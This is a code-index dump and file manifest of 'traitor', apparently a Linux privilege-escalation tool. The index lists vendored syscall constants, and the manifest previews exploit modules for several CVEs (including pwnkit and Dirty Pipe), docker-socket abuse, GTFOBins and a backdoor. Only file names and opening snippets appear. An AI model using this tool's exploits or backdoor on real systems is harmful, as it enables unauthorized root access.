  constant IFT_DCN (line 37) | IFT_DCN                           = 0x8d
  constant IFT_DIGITALPOWERLINE (line 38) | IFT_DIGITALPOWERLINE              = 0x8a
  constant IFT_DIGITALWRAPPEROVERHEADCHANNEL (line 39) | IFT_DIGITALWRAPPEROVERHEADCHANNEL = 0xba
  constant IFT_DLSW (line 40) | IFT_DLSW                          = 0x4a
  constant IFT_DOCSCABLEDOWNSTREAM (line 41) | IFT_DOCSCABLEDOWNSTREAM           = 0x80
  constant IFT_DOCSCABLEMACLAYER (line 42) | IFT_DOCSCABLEMACLAYER             = 0x7f
  constant IFT_DOCSCABLEUPSTREAM (line 43) | IFT_DOCSCABLEUPSTREAM             = 0x81
  constant IFT_DS0 (line 44) | IFT_DS0                           = 0x51
  constant IFT_DS0BUNDLE (line 45) | IFT_DS0BUNDLE                     = 0x52
  constant IFT_DS1FDL (line 46) | IFT_DS1FDL                        = 0xaa
  constant IFT_DS3 (line 47) | IFT_DS3                           = 0x1e
  constant IFT_DTM (line 48) | IFT_DTM                           = 0x8c
  constant IFT_DVBASILN (line 49) | IFT_DVBASILN                      = 0xac
  constant IFT_DVBASIOUT (line 50) | IFT_DVBASIOUT                     = 0xad
  constant IFT_DVBRCCDOWNSTREAM (line 51) | IFT_DVBRCCDOWNSTREAM              = 0x93
  constant IFT_DVBRCCMACLAYER (line 52) | IFT_DVBRCCMACLAYER                = 0x92
  constant IFT_DVBRCCUPSTREAM (line 53) | IFT_DVBRCCUPSTREAM                = 0x94
  constant IFT_ENC (line 54) | IFT_ENC                           = 0xf4
  constant IFT_EON (line 55) | IFT_EON                           = 0x19
  constant IFT_EPLRS (line 56) | IFT_EPLRS                         = 0x57
  constant IFT_ESCON (line 57) | IFT_ESCON                         = 0x49
  constant IFT_ETHER (line 58) | IFT_ETHER                         = 0x6
  constant IFT_FAST (line 59) | IFT_FAST                          = 0x7d
  constant IFT_FASTETHER (line 60) | IFT_FASTETHER                     = 0x3e
  constant IFT_FASTETHERFX (line 61) | IFT_FASTETHERFX                   = 0x45
  constant IFT_FDDI (line 62) | IFT_FDDI                          = 0xf
  constant IFT_FIBRECHANNEL (line 63) | IFT_FIBRECHANNEL                  = 0x38
  constant IFT_FRAMERELAYINTERCONNECT (line 64) | IFT_FRAMERELAYINTERCONNECT        = 0x3a
  constant IFT_FRAMERELAYMPI (line 65) | IFT_FRAMERELAYMPI                 = 0x5c
  constant IFT_FRDLCIENDPT (line 66) | IFT_FRDLCIENDPT                   = 0xc1
  constant IFT_FRELAY (line 67) | IFT_FRELAY                        = 0x20
  constant IFT_FRELAYDCE (line 68) | IFT_FRELAYDCE                     = 0x2c
  constant IFT_FRF16MFRBUNDLE (line 69) | IFT_FRF16MFRBUNDLE                = 0xa3
  constant IFT_FRFORWARD (line 70) | IFT_FRFORWARD                     = 0x9e
  constant IFT_G703AT2MB (line 71) | IFT_G703AT2MB                     = 0x43
  constant IFT_G703AT64K (line 72) | IFT_G703AT64K                     = 0x42
  constant IFT_GIF (line 73) | IFT_GIF                           = 0xf0
  constant IFT_GIGABITETHERNET (line 74) | IFT_GIGABITETHERNET               = 0x75
  constant IFT_GR303IDT (line 75) | IFT_GR303IDT                      = 0xb2
  constant IFT_GR303RDT (line 76) | IFT_GR303RDT                      = 0xb1
  constant IFT_H323GATEKEEPER (line 77) | IFT_H323GATEKEEPER                = 0xa4
  constant IFT_H323PROXY (line 78) | IFT_H323PROXY                     = 0xa5
  constant IFT_HDH1822 (line 79) | IFT_HDH1822                       = 0x3
  constant IFT_HDLC (line 80) | IFT_HDLC                          = 0x76
  constant IFT_HDSL2 (line 81) | IFT_HDSL2                         = 0xa8
  constant IFT_HIPERLAN2 (line 82) | IFT_HIPERLAN2                     = 0xb7
  constant IFT_HIPPI (line 83) | IFT_HIPPI                         = 0x2f
  constant IFT_HIPPIINTERFACE (line 84) | IFT_HIPPIINTERFACE                = 0x39
  constant IFT_HOSTPAD (line 85) | IFT_HOSTPAD                       = 0x5a
  constant IFT_HSSI (line 86) | IFT_HSSI                          = 0x2e
  constant IFT_HY (line 87) | IFT_HY                            = 0xe
  constant IFT_IBM370PARCHAN (line 88) | IFT_IBM370PARCHAN                 = 0x48
  constant IFT_IDSL (line 89) | IFT_IDSL                          = 0x9a
  constant IFT_IEEE80211 (line 90) | IFT_IEEE80211                     = 0x47
  constant IFT_IEEE80212 (line 91) | IFT_IEEE80212                     = 0x37
  constant IFT_IEEE8023ADLAG (line 92) | IFT_IEEE8023ADLAG                 = 0xa1
  constant IFT_IFGSN (line 93) | IFT_IFGSN                         = 0x91
  constant IFT_IMT (line 94) | IFT_IMT                           = 0xbe
  constant IFT_INTERLEAVE (line 95) | IFT_INTERLEAVE                    = 0x7c
  constant IFT_IP (line 96) | IFT_IP                            = 0x7e
  constant IFT_IPFORWARD (line 97) | IFT_IPFORWARD                     = 0x8e
  constant IFT_IPOVERATM (line 98) | IFT_IPOVERATM                     = 0x72
  constant IFT_IPOVERCDLC (line 99) | IFT_IPOVERCDLC                    = 0x6d
  constant IFT_IPOVERCLAW (line 100) | IFT_IPOVERCLAW                    = 0x6e
  constant IFT_IPSWITCH (line 101) | IFT_IPSWITCH                      = 0x4e
  constant IFT_ISDN (line 102) | IFT_ISDN                          = 0x3f
  constant IFT_ISDNBASIC (line 103) | IFT_ISDNBASIC                     = 0x14
  constant IFT_ISDNPRIMARY (line 104) | IFT_ISDNPRIMARY                   = 0x15
  constant IFT_ISDNS (line 105) | IFT_ISDNS                         = 0x4b
  constant IFT_ISDNU (line 106) | IFT_ISDNU                         = 0x4c
  constant IFT_ISO88022LLC (line 107) | IFT_ISO88022LLC                   = 0x29
  constant IFT_ISO88023 (line 108) | IFT_ISO88023                      = 0x7
  constant IFT_ISO88024 (line 109) | IFT_ISO88024                      = 0x8
  constant IFT_ISO88025 (line 110) | IFT_ISO88025                      = 0x9
  constant IFT_ISO88025CRFPINT (line 111) | IFT_ISO88025CRFPINT               = 0x62
  constant IFT_ISO88025DTR (line 112) | IFT_ISO88025DTR                   = 0x56
  constant IFT_ISO88025FIBER (line 113) | IFT_ISO88025FIBER                 = 0x73
  constant IFT_ISO88026 (line 114) | IFT_ISO88026                      = 0xa
  constant IFT_ISUP (line 115) | IFT_ISUP                          = 0xb3
  constant IFT_L3IPXVLAN (line 116) | IFT_L3IPXVLAN                     = 0x89
  constant IFT_LAPB (line 117) | IFT_LAPB                          = 0x10
  constant IFT_LAPD (line 118) | IFT_LAPD                          = 0x4d
  constant IFT_LAPF (line 119) | IFT_LAPF                          = 0x77
  constant IFT_LOCALTALK (line 120) | IFT_LOCALTALK                     = 0x2a
  constant IFT_LOOP (line 121) | IFT_LOOP                          = 0x18
  constant IFT_MEDIAMAILOVERIP (line 122) | IFT_MEDIAMAILOVERIP               = 0x8b
  constant IFT_MFSIGLINK (line 123) | IFT_MFSIGLINK                     = 0xa7
  constant IFT_MIOX25 (line 124) | IFT_MIOX25                        = 0x26
  constant IFT_MODEM (line 125) | IFT_MODEM                         = 0x30
  constant IFT_MPC (line 126) | IFT_MPC                           = 0x71
  constant IFT_MPLS (line 127) | IFT_MPLS                          = 0xa6
  constant IFT_MPLSTUNNEL (line 128) | IFT_MPLSTUNNEL                    = 0x96
  constant IFT_MSDSL (line 129) | IFT_MSDSL                         = 0x8f
  constant IFT_MVL (line 130) | IFT_MVL                           = 0xbf
  constant IFT_MYRINET (line 131) | IFT_MYRINET                       = 0x63
  constant IFT_NFAS (line 132) | IFT_NFAS                          = 0xaf
  constant IFT_NSIP (line 133) | IFT_NSIP                          = 0x1b
  constant IFT_OPTICALCHANNEL (line 134) | IFT_OPTICALCHANNEL                = 0xc3
  constant IFT_OPTICALTRANSPORT (line 135) | IFT_OPTICALTRANSPORT              = 0xc4
  constant IFT_OTHER (line 136) | IFT_OTHER                         = 0x1
  constant IFT_P10 (line 137) | IFT_P10                           = 0xc
  constant IFT_P80 (line 138) | IFT_P80                           = 0xd
  constant IFT_PARA (line 139) | IFT_PARA                          = 0x22
  constant IFT_PFLOG (line 140) | IFT_PFLOG                         = 0xf6
  constant IFT_PFSYNC (line 141) | IFT_PFSYNC                        = 0xf7
  constant IFT_PLC (line 142) | IFT_PLC                           = 0xae
  constant IFT_POS (line 143) | IFT_POS                           = 0xab
  constant IFT_PPPMULTILINKBUNDLE (line 144) | IFT_PPPMULTILINKBUNDLE            = 0x6c
  constant IFT_PROPBWAP2MP (line 145) | IFT_PROPBWAP2MP                   = 0xb8
  constant IFT_PROPCNLS (line 146) | IFT_PROPCNLS                      = 0x59
  constant IFT_PROPDOCSWIRELESSDOWNSTREAM (line 147) | IFT_PROPDOCSWIRELESSDOWNSTREAM    = 0xb5
  constant IFT_PROPDOCSWIRELESSMACLAYER (line 148) | IFT_PROPDOCSWIRELESSMACLAYER      = 0xb4
  constant IFT_PROPDOCSWIRELESSUPSTREAM (line 149) | IFT_PROPDOCSWIRELESSUPSTREAM      = 0xb6
  constant IFT_PROPMUX (line 150) | IFT_PROPMUX                       = 0x36
  constant IFT_PROPWIRELESSP2P (line 151) | IFT_PROPWIRELESSP2P               = 0x9d
  constant IFT_PTPSERIAL (line 152) | IFT_PTPSERIAL                     = 0x16
  constant IFT_PVC (line 153) | IFT_PVC                           = 0xf1
  constant IFT_QLLC (line 154) | IFT_QLLC                          = 0x44
  constant IFT_RADIOMAC (line 155) | IFT_RADIOMAC                      = 0xbc
  constant IFT_RADSL (line 156) | IFT_RADSL                         = 0x5f
  constant IFT_REACHDSL (line 157) | IFT_REACHDSL                      = 0xc0
  constant IFT_RFC1483 (line 158) | IFT_RFC1483                       = 0x9f
  constant IFT_RS232 (line 159) | IFT_RS232                         = 0x21
  constant IFT_RSRB (line 160) | IFT_RSRB                          = 0x4f
  constant IFT_SDLC (line 161) | IFT_SDLC                          = 0x11
  constant IFT_SDSL (line 162) | IFT_SDSL                          = 0x60
  constant IFT_SHDSL (line 163) | IFT_SHDSL                         = 0xa9
  constant IFT_SIP (line 164) | IFT_SIP                           = 0x1f
  constant IFT_SLIP (line 165) | IFT_SLIP                          = 0x1c
  constant IFT_SMDSDXI (line 166) | IFT_SMDSDXI                       = 0x2b
  constant IFT_SMDSICIP (line 167) | IFT_SMDSICIP                      = 0x34
  constant IFT_SONET (line 168) | IFT_SONET                         = 0x27
  constant IFT_SONETOVERHEADCHANNEL (line 169) | IFT_SONETOVERHEADCHANNEL          = 0xb9
  constant IFT_SONETPATH (line 170) | IFT_SONETPATH                     = 0x32
  constant IFT_SONETVT (line 171) | IFT_SONETVT                       = 0x33
  constant IFT_SRP (line 172) | IFT_SRP                           = 0x97
  constant IFT_SS7SIGLINK (line 173) | IFT_SS7SIGLINK                    = 0x9c
  constant IFT_STACKTOSTACK (line 174) | IFT_STACKTOSTACK                  = 0x6f
  constant IFT_STARLAN (line 175) | IFT_STARLAN                       = 0xb
  constant IFT_STF (line 176) | IFT_STF                           = 0xd7
  constant IFT_T1 (line 177) | IFT_T1                            = 0x12
  constant IFT_TDLC (line 178) | IFT_TDLC                          = 0x74
  constant IFT_TERMPAD (line 179) | IFT_TERMPAD                       = 0x5b
  constant IFT_TR008 (line 180) | IFT_TR008                         = 0xb0
  constant IFT_TRANSPHDLC (line 181) | IFT_TRANSPHDLC                    = 0x7b
  constant IFT_TUNNEL (line 182) | IFT_TUNNEL                        = 0x83
  constant IFT_ULTRA (line 183) | IFT_ULTRA                         = 0x1d
  constant IFT_USB (line 184) | IFT_USB                           = 0xa0
  constant IFT_V11 (line 185) | IFT_V11                           = 0x40
  constant IFT_V35 (line 186) | IFT_V35                           = 0x2d
  constant IFT_V36 (line 187) | IFT_V36                           = 0x41
  constant IFT_V37 (line 188) | IFT_V37                           = 0x78
  constant IFT_VDSL (line 189) | IFT_VDSL                          = 0x61
  constant IFT_VIRTUALIPADDRESS (line 190) | IFT_VIRTUALIPADDRESS              = 0x70
  constant IFT_VOICEEM (line 191) | IFT_VOICEEM                       = 0x64
  constant IFT_VOICEENCAP (line 192) | IFT_VOICEENCAP                    = 0x67
  constant IFT_VOICEFXO (line 193) | IFT_VOICEFXO                      = 0x65
  constant IFT_VOICEFXS (line 194) | IFT_VOICEFXS                      = 0x66
  constant IFT_VOICEOVERATM (line 195) | IFT_VOICEOVERATM                  = 0x98
  constant IFT_VOICEOVERFRAMERELAY (line 196) | IFT_VOICEOVERFRAMERELAY           = 0x99
  constant IFT_VOICEOVERIP (line 197) | IFT_VOICEOVERIP                   = 0x68
  constant IFT_X213 (line 198) | IFT_X213                          = 0x5d
  constant IFT_X25 (line 199) | IFT_X25                           = 0x5
  constant IFT_X25DDN (line 200) | IFT_X25DDN                        = 0x4
  constant IFT_X25HUNTGROUP (line 201) | IFT_X25HUNTGROUP                  = 0x7a
  constant IFT_X25MLP (line 202) | IFT_X25MLP                        = 0x79
  constant IFT_X25PLE (line 203) | IFT_X25PLE                        = 0x28
  constant IFT_XETHER (line 204) | IFT_XETHER                        = 0x1a
  constant IFF_SMART (line 207) | IFF_SMART       = 0x20
  constant IFT_FAITH (line 208) | IFT_FAITH       = 0xf2
  constant IFT_IPXIP (line 209) | IFT_IPXIP       = 0xf9
  constant IPPROTO_MAXID (line 210) | IPPROTO_MAXID   = 0x34
  constant IPV6_FAITH (line 211) | IPV6_FAITH      = 0x1d
  constant IP_FAITH (line 212) | IP_FAITH        = 0x16
  constant MAP_NORESERVE (line 213) | MAP_NORESERVE   = 0x40
  constant MAP_RENAME (line 214) | MAP_RENAME      = 0x20
  constant NET_RT_MAXID (line 215) | NET_RT_MAXID    = 0x6
  constant RTF_PRCLONING (line 216) | RTF_PRCLONING   = 0x10000
  constant RTM_OLDADD (line 217) | RTM_OLDADD      = 0x9
  constant RTM_OLDDEL (line 218) | RTM_OLDDEL      = 0xa
  constant SIOCADDRT (line 219) | SIOCADDRT       = 0x8030720a
  constant SIOCALIFADDR (line 220) | SIOCALIFADDR    = 0x8118691b
  constant SIOCDELRT (line 221) | SIOCDELRT       = 0x8030720b
  constant SIOCDLIFADDR (line 222) | SIOCDLIFADDR    = 0x8118691d
  constant SIOCGLIFADDR (line 223) | SIOCGLIFADDR    = 0xc118691c
  constant SIOCGLIFPHYADDR (line 224) | SIOCGLIFPHYADDR = 0xc118694b
  constant SIOCSLIFPHYADDR (line 225) | SIOCSLIFPHYADDR = 0x8118694a

FILE: vendor/golang.org/x/sys/unix/errors_freebsd_arm64.go
  constant DLT_HHDLC (line 11) | DLT_HHDLC            = 0x79
  constant IPV6_MIN_MEMBERSHIPS (line 12) | IPV6_MIN_MEMBERSHIPS = 0x1f
  constant IP_MAX_SOURCE_FILTER (line 13) | IP_MAX_SOURCE_FILTER = 0x400
  constant IP_MIN_MEMBERSHIPS (line 14) | IP_MIN_MEMBERSHIPS   = 0x1f
  constant RT_CACHING_CONTEXT (line 15) | RT_CACHING_CONTEXT   = 0x1
  constant RT_NORTREF (line 16) | RT_NORTREF           = 0x2

FILE: vendor/golang.org/x/sys/unix/fcntl.go
  function fcntl (line 16) | func fcntl(fd int, cmd, arg int) (int, error) {
  function FcntlInt (line 26) | func FcntlInt(fd uintptr, cmd, arg int) (int, error) {
  function FcntlFlock (line 31) | func FcntlFlock(fd uintptr, cmd int, lk *Flock_t) error {

FILE: vendor/golang.org/x/sys/unix/fcntl_darwin.go
  function FcntlInt (line 10) | func FcntlInt(fd uintptr, cmd, arg int) (int, error) {
  function FcntlFlock (line 15) | func FcntlFlock(fd uintptr, cmd int, lk *Flock_t) error {
  function FcntlFstore (line 21) | func FcntlFstore(fd uintptr, cmd int, fstore *Fstore_t) error {

FILE: vendor/golang.org/x/sys/unix/fcntl_linux_32bit.go
  function init (line 10) | func init() {

FILE: vendor/golang.org/x/sys/unix/fdset.go
  method Set (line 11) | func (fds *FdSet) Set(fd int) {
  method Clear (line 16) | func (fds *FdSet) Clear(fd int) {
  method IsSet (line 21) | func (fds *FdSet) IsSet(fd int) bool {
  method Zero (line 26) | func (fds *FdSet) Zero() {

FILE: vendor/golang.org/x/sys/unix/fstatfs_zos.go
  function Fstatfs (line 16) | func Fstatfs(fd int, stat *Statfs_t) (err error) {
  function tryGetmntent64 (line 61) | func tryGetmntent64(stat *Statfs_t) (err error) {
  function tryGetmntent128 (line 82) | func tryGetmntent128(stat *Statfs_t) (err error) {
  function tryGetmntent256 (line 103) | func tryGetmntent256(stat *Statfs_t) (err error) {
  function tryGetmntent512 (line 124) | func tryGetmntent512(stat *Statfs_t) (err error) {
  function tryGetmntent1024 (line 145) | func tryGetmntent1024(stat *Statfs_t) (err error) {

FILE: vendor/golang.org/x/sys/unix/gccgo.go
  function realSyscallNoError (line 15) | func realSyscallNoError(trap, a1, a2, a3, a4, a5, a6, a7, a8, a9 uintptr...
  function realSyscall (line 17) | func realSyscall(trap, a1, a2, a3, a4, a5, a6, a7, a8, a9 uintptr) (r, e...
  function SyscallNoError (line 19) | func SyscallNoError(trap, a1, a2, a3 uintptr) (r1, r2 uintptr) {
  function Syscall (line 26) | func Syscall(trap, a1, a2, a3 uintptr) (r1, r2 uintptr, err syscall.Errn...
  function Syscall6 (line 33) | func Syscall6(trap, a1, a2, a3, a4, a5, a6 uintptr) (r1, r2 uintptr, err...
  function Syscall9 (line 40) | func Syscall9(trap, a1, a2, a3, a4, a5, a6, a7, a8, a9 uintptr) (r1, r2 ...
  function RawSyscallNoError (line 47) | func RawSyscallNoError(trap, a1, a2, a3 uintptr) (r1, r2 uintptr) {
  function RawSyscall (line 52) | func RawSyscall(trap, a1, a2, a3 uintptr) (r1, r2 uintptr, err syscall.E...
  function RawSyscall6 (line 57) | func RawSyscall6(trap, a1, a2, a3, a4, a5, a6 uintptr) (r1, r2 uintptr, ...

FILE: vendor/golang.org/x/sys/unix/gccgo_c.c
  type ret (line 19) | struct ret {
  type ret (line 24) | struct ret
  function gccgoRealSyscall (line 27) | struct ret
  function gccgoRealSyscallNoError (line 41) | uintptr_t

FILE: vendor/golang.org/x/sys/unix/gccgo_linux_amd64.go
  function realGettimeofday (line 13) | func realGettimeofday(*Timeval, *byte) int32
  function gettimeofday (line 15) | func gettimeofday(tv *Timeval) (err syscall.Errno) {

FILE: vendor/golang.org/x/sys/unix/ifreq_linux.go
  type Ifreq (line 26) | type Ifreq struct
    method Name (line 46) | func (ifr *Ifreq) Name() string {
    method Inet4Addr (line 57) | func (ifr *Ifreq) Inet4Addr() ([]byte, error) {
    method SetInet4Addr (line 70) | func (ifr *Ifreq) SetInet4Addr(v []byte) error {
    method Uint16 (line 91) | func (ifr *Ifreq) Uint16() uint16 {
    method SetUint16 (line 96) | func (ifr *Ifreq) SetUint16(v uint16) {
    method Uint32 (line 102) | func (ifr *Ifreq
Condensed preview — 567 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (8,436K chars).
[
  {
    "path": ".github/FUNDING.yml",
    "chars": 16,
    "preview": "github: [liamg]\n"
  },
  {
    "path": ".github/workflows/antispam.yml",
    "chars": 398,
    "preview": "name: antispam\n\non:\n  issues:\n    types:\n      - opened\n      - edited\n      - reopened\n  pull_request:\n    types:\n     "
  },
  {
    "path": ".github/workflows/pr.yml",
    "chars": 411,
    "preview": "on: [pull_request]\nname: Test\njobs:\n  test:\n    strategy:\n      matrix:\n        go-version: [1.18.x]\n        os: [ubuntu"
  },
  {
    "path": ".github/workflows/release.yml",
    "chars": 3946,
    "preview": "name: Test and Release\n\non:\n  push:\n    # Sequence of patterns matched against refs/tags\n    tags:\n      - 'v*' # Push e"
  },
  {
    "path": ".gitignore",
    "chars": 15,
    "preview": "/traitor\n.idea\n"
  },
  {
    "path": "LICENSE",
    "chars": 1068,
    "preview": "MIT License\n\nCopyright (c) 2021 Liam Galvin\n\nPermission is hereby granted, free of charge, to any person obtaining a cop"
  },
  {
    "path": "Makefile",
    "chars": 291,
    "preview": "\n\n.PHONY: build\nbuild:\n\tCGO_ENABLED=0 go build ./cmd/traitor\n\n.PHONY: pack\npack:\n\tgo run ./cmd/pack\n\n.PHONY: install\nins"
  },
  {
    "path": "README.md",
    "chars": 2468,
    "preview": "# Traitor\n\nAutomatically exploit low-hanging fruit to pop a root shell. Linux privilege escalation made easy!\n\nTraitor p"
  },
  {
    "path": "cmd/pack/main.go",
    "chars": 2212,
    "preview": "package main\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"os/exec\"\n\t\"path/filepath\"\n)\n\nconst outputDir = \"./pkg/exploi"
  },
  {
    "path": "cmd/traitor/main.go",
    "chars": 98,
    "preview": "package main\n\nimport (\n\t\"github.com/liamg/traitor/internal/cmd\"\n)\n\nfunc main() {\n\tcmd.Execute()\n}\n"
  },
  {
    "path": "go.mod",
    "chars": 504,
    "preview": "module github.com/liamg/traitor\n\ngo 1.18\n\nrequire (\n\tgithub.com/creack/pty v1.1.18\n\tgithub.com/google/uuid v1.3.0\n\tgithu"
  },
  {
    "path": "go.sum",
    "chars": 2888,
    "preview": "github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=\ngithub.com/creack/pty v1."
  },
  {
    "path": "internal/cmd/backdoor.go",
    "chars": 1454,
    "preview": "package cmd\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\n\t\"github.com/liamg/traitor/pkg/backdoor\"\n\n\t\"github.com/spf13/cobra\"\n)\n\nfunc init() {"
  },
  {
    "path": "internal/cmd/list.go",
    "chars": 407,
    "preview": "package cmd\n\nimport (\n\t\"fmt\"\n\t\"github.com/liamg/traitor/pkg/exploits\"\n\t\"github.com/spf13/cobra\"\n)\n\n\nfunc init() {\n\trootC"
  },
  {
    "path": "internal/cmd/root.go",
    "chars": 4074,
    "preview": "package cmd\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"os\"\n\t\"os/user\"\n\n\t\"github.com/liamg/traitor/internal/version\"\n\n\t\"github.com/lia"
  },
  {
    "path": "internal/cmd/setuid.go",
    "chars": 1743,
    "preview": "package cmd\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"os/exec\"\n\t\"syscall\"\n\t\"time\"\n\n\t\"github.com/spf13/cobra\"\n)\n\nvar setuidShell = \"/bin/s"
  },
  {
    "path": "internal/pipe/pipe.go",
    "chars": 1302,
    "preview": "package pipe\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n)\n\ntype LockablePipe struct {\n\tinput    io.Reader\n\treceiv"
  },
  {
    "path": "internal/version/version.go",
    "chars": 47,
    "preview": "package version\n\nvar Version string = \"v0.0.0\"\n"
  },
  {
    "path": "pkg/backdoor/traitor.go",
    "chars": 2124,
    "preview": "package backdoor\n\nimport (\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"syscall\"\n\n\t\"github.com/liamg/traitor/pkg/random\""
  },
  {
    "path": "pkg/exploits/all.go",
    "chars": 565,
    "preview": "package exploits\n\nimport (\n\t\"github.com/liamg/traitor/pkg/exploits/cve20213560\"\n\t\"github.com/liamg/traitor/pkg/exploits/"
  },
  {
    "path": "pkg/exploits/cve20213560/exploit.go",
    "chars": 9357,
    "preview": "package cve20213560\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"io\"\n\t\"math/rand\"\n\t\"os\"\n\t\"os/exec\"\n\t\"os/signal\"\n\t\"os/user\"\n\t\"regexp\"\n\t\""
  },
  {
    "path": "pkg/exploits/cve20214034/exploit.go",
    "chars": 4499,
    "preview": "package cve20214034\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"os/exec\"\n\t\"path/filepath\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\""
  },
  {
    "path": "pkg/exploits/cve20214034/sharedobject_sh_386.go",
    "chars": 49145,
    "preview": "//go:build 386\npackage cve20214034\n\nvar pwnkit_sh_sharedobj = []byte{\n  127, 69, 76, 70, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0"
  },
  {
    "path": "pkg/exploits/cve20214034/sharedobject_sh_amd64.go",
    "chars": 51457,
    "preview": "//go:build amd64\npackage cve20214034\n\nvar pwnkit_sh_sharedobj = []byte{\n  127, 69, 76, 70, 2, 1, 1, 0, 0, 0, 0, 0, 0, 0,"
  },
  {
    "path": "pkg/exploits/cve20214034/sharedobject_sh_arm64.go",
    "chars": 29025,
    "preview": "//go:build arm64\npackage cve20214034\n\nvar pwnkit_sh_sharedobj = []byte{\n  127, 69, 76, 70, 2, 1, 1, 0, 0, 0, 0, 0, 0, 0,"
  },
  {
    "path": "pkg/exploits/cve20214034/sharedobject_true_386.go",
    "chars": 49160,
    "preview": "//go:build 386\npackage cve20214034\n\nvar pwnkit_true_sharedobj = []byte{\n  127, 69, 76, 70, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0,"
  },
  {
    "path": "pkg/exploits/cve20214034/sharedobject_true_amd64.go",
    "chars": 51466,
    "preview": "//go:build amd64\npackage cve20214034\n\nvar pwnkit_true_sharedobj = []byte{\n  127, 69, 76, 70, 2, 1, 1, 0, 0, 0, 0, 0, 0, "
  },
  {
    "path": "pkg/exploits/cve20214034/sharedobject_true_arm64.go",
    "chars": 29035,
    "preview": "//go:build arm64\npackage cve20214034\n\nvar pwnkit_true_sharedobj = []byte{\n  127, 69, 76, 70, 2, 1, 1, 0, 0, 0, 0, 0, 0, "
  },
  {
    "path": "pkg/exploits/cve20220847/exploit.go",
    "chars": 4821,
    "preview": "package cve20220847\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"fmt\"\n\t\"os\"\n\t\"regexp\"\n\t\"strconv\"\n\t\"strings\"\n\t\"syscall\"\n\n\t\"github.com"
  },
  {
    "path": "pkg/exploits/dockersock/exploit.go",
    "chars": 7713,
    "preview": "package dockersock\n\nimport (\n\t\"archive/tar\"\n\t\"bytes\"\n\t\"context\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"net\"\n\t\"net/"
  },
  {
    "path": "pkg/exploits/gtfobins.go",
    "chars": 17300,
    "preview": "package exploits\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"os/exec\"\n\t\"os/signal\"\n\t\"strings\"\n\t\"syscall\"\n\t\"ti"
  },
  {
    "path": "pkg/exploits/registration.go",
    "chars": 722,
    "preview": "package exploits\n\ntype Speed uint\n\nconst (\n\tSpeedAny Speed = iota\n\tSpeedSlow\n\tSpeedFast\n)\n\ntype Registration struct {\n\tN"
  },
  {
    "path": "pkg/exploits/types.go",
    "chars": 592,
    "preview": "package exploits\n\nimport (\n\t\"context\"\n\n\t\"github.com/liamg/traitor/pkg/payloads\"\n\n\t\"github.com/liamg/traitor/pkg/logger\"\n"
  },
  {
    "path": "pkg/logger/logger.go",
    "chars": 678,
    "preview": "package logger\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/liamg/tml\"\n)\n\ntype Logger struct {\n\ttitle    string\n\tsilenced bool\n}\n\nfunc"
  },
  {
    "path": "pkg/payloads/payloads.go",
    "chars": 88,
    "preview": "package payloads\n\ntype Payload string\n\nvar Default Payload = \"/bin/sh\"\nvar Defer Payload"
  },
  {
    "path": "pkg/random/filename.go",
    "chars": 558,
    "preview": "package random\n\nimport (\n\t\"math/rand\"\n\t\"time\"\n)\n\nfunc init() {\n\trand.Seed(time.Now().UnixNano())\n}\n\nvar filenameRunes = "
  },
  {
    "path": "pkg/shell/password.go",
    "chars": 1702,
    "preview": "package shell\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n\t\"os/exec\"\n\t\"os/signal\"\n\t\"syscall\"\n\t\"time\"\n\n\t\"github.com/creack/pty\"\n\t\"github"
  },
  {
    "path": "pkg/state/distro.go",
    "chars": 1085,
    "preview": "package state\n\nimport (\n\t\"os/exec\"\n\t\"strings\"\n)\n\ntype DistributionID string\n\nconst (\n\tUnknownLinux DistributionID = \"lin"
  },
  {
    "path": "pkg/state/kernel.go",
    "chars": 164,
    "preview": "package state\n\nimport \"os\"\n\nfunc kernelVersion() string {\n\tb, err := os.ReadFile(\"/proc/sys/kernel/osrelease\")\n\tif err !"
  },
  {
    "path": "pkg/state/packages.go",
    "chars": 470,
    "preview": "package state\n\nimport \"os/exec\"\n\nfunc (s *State) IsPackageInstalled(name string) bool {\n\n\tswitch s.DistroID {\n\tcase Debi"
  },
  {
    "path": "pkg/state/state.go",
    "chars": 697,
    "preview": "package state\n\nimport \"os\"\n\ntype State struct {\n\tHasPassword   bool\n\tSudoEntries   Sudoers\n\tHostname      string\n\tDistro"
  },
  {
    "path": "pkg/state/sudoers.go",
    "chars": 2589,
    "preview": "package state\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"os/exec\"\n\t\"path\"\n\t\"strings\"\n)\n\nfunc (s *State) processSudoers(hostname string) {\n"
  },
  {
    "path": "vendor/github.com/creack/pty/.gitignore",
    "chars": 27,
    "preview": "[568].out\n_go*\n_test*\n_obj\n"
  },
  {
    "path": "vendor/github.com/creack/pty/Dockerfile.golang",
    "chars": 327,
    "preview": "ARG GOVERSION=1.14\nFROM golang:${GOVERSION}\n\n# Set base env.\nARG GOOS=linux\nARG GOARCH=amd64\nENV GOOS=${GOOS} GOARCH=${G"
  },
  {
    "path": "vendor/github.com/creack/pty/Dockerfile.riscv",
    "chars": 735,
    "preview": "# NOTE: Using 1.13 as a base to build the RISCV compiler, the resulting version is based on go1.6.\nFROM golang:1.13\n\n# C"
  },
  {
    "path": "vendor/github.com/creack/pty/LICENSE",
    "chars": 1056,
